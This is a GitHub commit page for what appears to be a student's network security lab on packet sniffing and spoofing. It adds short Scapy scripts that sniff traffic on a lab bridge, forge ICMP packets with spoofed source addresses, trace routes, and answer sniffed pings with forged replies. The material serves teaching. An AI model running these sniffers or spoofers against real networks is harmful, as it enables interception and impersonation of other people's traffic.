-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Lab 1 - Packet Sniffing and Spoffing Attack done
- Loading branch information
Showing
30 changed files
with
97 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
#!/usr/bin/python3 | ||
from scapy.all import * | ||
print("SNIFFING PACKETS..."); | ||
def print_pkt(pkt): | ||
pkt.show() | ||
pkt = sniff(iface = "br-****",prn=print_pkt) | ||
|
7 changes: 7 additions & 0 deletions
7
Lab 1 - Packet sniffing and spoofing attack/Code/Task1.1B-ICMP.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
#! / usr/bin/python3 | ||
from scapy.all import * | ||
print ("SNIFFING PACKETS..."); | ||
def print_pkt(pkt): | ||
pkt.show() | ||
pkt = sniff (iface = "br-****",filter='icmp', prn=print_pkt) | ||
|
7 changes: 7 additions & 0 deletions
7
Lab 1 - Packet sniffing and spoofing attack/Code/Task1.1B-Subnet.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
#!/usr/bin/python3 | ||
from scapy.all import * | ||
print("SNIFFING PACKETS...") | ||
def print_pkt(pkt): | ||
pkt.show() | ||
pkt = sniff(iface = "br-****",filter='src net 172.17.0.0/24', prn=print_pkt) | ||
|
7 changes: 7 additions & 0 deletions
7
Lab 1 - Packet sniffing and spoofing attack/Code/Task1.1B-TCP.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
#!/usr/bin/python3 | ||
from scapy.all import * | ||
print ("SNIFFING PACKETS...") | ||
def print_pkt(pkt): | ||
pkt.show() | ||
pkt = sniff (iface = "br-****",filter='tcp and src host 10.9.0.5 and dst port 23', prn=print_pkt) | ||
|
11 changes: 11 additions & 0 deletions
11
Lab 1 - Packet sniffing and spoofing attack/Code/Task1.2A.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
#!/usr/bin/python3 | ||
from scapy.all import * | ||
print ("SENDING SPOOFED ICMP PACKET...") | ||
IPLayer = IP() | ||
IPLayer.src="10.9.0.1" | ||
IPLayer.dst="10.9.0.5" | ||
ICMPpkt = ICMP() | ||
pkt = IPLayer/ICMPpkt | ||
pkt. show () | ||
send(pkt,verbose=0) | ||
|
11 changes: 11 additions & 0 deletions
11
Lab 1 - Packet sniffing and spoofing attack/Code/Task1.2B.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
#!/usr/bin/python3 | ||
from scapy.all import * | ||
print ("SENDING SPOOFED ICMP PACKET...") | ||
IPLayer = IP() | ||
IPLayer.src="10.9.0.11" | ||
IPLayer.dst="10.9.0.99" | ||
ICMPpkt = ICMP() | ||
pkt = IPLayer/ICMPpkt | ||
pkt. show() | ||
send(pkt,verbose=0) | ||
|
22 changes: 22 additions & 0 deletions
22
Lab 1 - Packet sniffing and spoofing attack/Code/Task1.3.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
#!/usr/bin/python3 | ||
from scapy.all import * | ||
'''Usage: ./traceroute.py " hostname or ip address"''' | ||
host=sys.argv[1] | ||
print ("Traceroute "+ host) | ||
ttl=1 | ||
while 1: | ||
IPLayer=IP () | ||
IPLayer.dst=host | ||
IPLayer.ttl=ttl | ||
ICMPpkt=ICMP() | ||
pkt=IPLayer/ICMPpkt | ||
replypkt = sr1(pkt,verbose=0) | ||
if replypkt is None: | ||
break | ||
elif replypkt [ICMP].type==0: | ||
print(f"{ttl} hops away: ", replypkt [IP].src) | ||
print( "Done", replypkt [IP].src) | ||
break | ||
else: | ||
print (f"{ttl} hops away: ", replypkt [IP].src) | ||
ttl+=1 |
25 changes: 25 additions & 0 deletions
25
Lab 1 - Packet sniffing and spoofing attack/Code/Task1.4.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
|
||
#!/usr/bin/python3 | ||
from scapy.all import * | ||
def spoof_pkt(pkt): | ||
newseq=0 | ||
if ICMP in pkt: | ||
print("original packet.........") | ||
print("source IP :", pkt [IP].src) | ||
print("Destination IP :", pkt [IP]. dst) | ||
srcip = pkt [IP]. dst | ||
dstip = pkt[IP].src | ||
newihl = pkt [IP]. ihl | ||
newtype = 0 | ||
newid = pkt [ICMP].id | ||
newseq = pkt [ICMP]. seq | ||
data = pkt [Raw]. load | ||
IPLayer = IP (src=srcip, dst=dstip, ihl=newihl) | ||
ICMPpkt = ICMP (type=newtype, id=newid, seq=newseq) | ||
newpkt = IPLayer/ICMPpkt/data | ||
print ("spoofed packet........") | ||
print ("Source IP:", newpkt [IP].src) | ||
print ("Destination IP:", newpkt [IP]. dst) | ||
send (newpkt, verbose=0) | ||
pkt = sniff (iface="br-****",filter='icmp and src host 10.9.0.5', prn=spoof_pkt) | ||
|
Binary file not shown.
Binary file added
BIN
+154 KB
Lab 1 - Packet sniffing and spoofing attack/Output ScreenDhot/Attacker prog 4.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+70.2 KB
Lab 1 - Packet sniffing and spoofing attack/Output ScreenDhot/Attecher 2.2 .png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+140 KB
...acket sniffing and spoofing attack/Output ScreenDhot/Attecker-Wireshark 2.1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+144 KB
Lab 1 - Packet sniffing and spoofing attack/Output ScreenDhot/Host-A prog 4.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+316 KB
Lab 1 - Packet sniffing and spoofing attack/Output ScreenDhot/Wireshak prog 4.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+231 KB
Lab 1 - Packet sniffing and spoofing attack/Output ScreenDhot/Wireshark 3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+60.1 KB
Lab 1 - Packet sniffing and spoofing attack/Output ScreenDhot/attacker 2.1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+54.6 KB
Lab 1 - Packet sniffing and spoofing attack/Output ScreenDhot/atteacher 3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+51.4 KB
Lab 1 - Packet sniffing and spoofing attack/Output ScreenDhot/progam1 hostA.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+103 KB
Lab 1 - Packet sniffing and spoofing attack/Output ScreenDhot/program1 attaker.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+99.7 KB
... Packet sniffing and spoofing attack/Output ScreenDhot/program2 attack ICMP.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+102 KB
...acket sniffing and spoofing attack/Output ScreenDhot/program2 attack Subnet.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+131 KB
... Packet sniffing and spoofing attack/Output ScreenDhot/program2 attack1 TCP.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+130 KB
... - Packet sniffing and spoofing attack/Output ScreenDhot/program2 hostA TCP.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+107 KB
...Packet sniffing and spoofing attack/Output ScreenDhot/program2 hostA subnet.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+38.4 KB
...- Packet sniffing and spoofing attack/Output ScreenDhot/program2 hosta ICMP.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+99.7 KB
...Packet sniffing and spoofing attack/Output ScreenDhot/program2B Attack2 TCP.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+175 KB
... Packet sniffing and spoofing attack/Output ScreenDhot/wireshark 2.2 output.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+1.89 MB
Lab 1 - Packet sniffing and spoofing attack/PES2UG20CS016_AdarshKumar_B.pdf
Binary file not shown.
Binary file added
BIN
+220 KB
Lab 1 - Packet sniffing and spoofing attack/Sniffing and Spoofing Manaul.pdf
Binary file not shown.
Binary file not shown.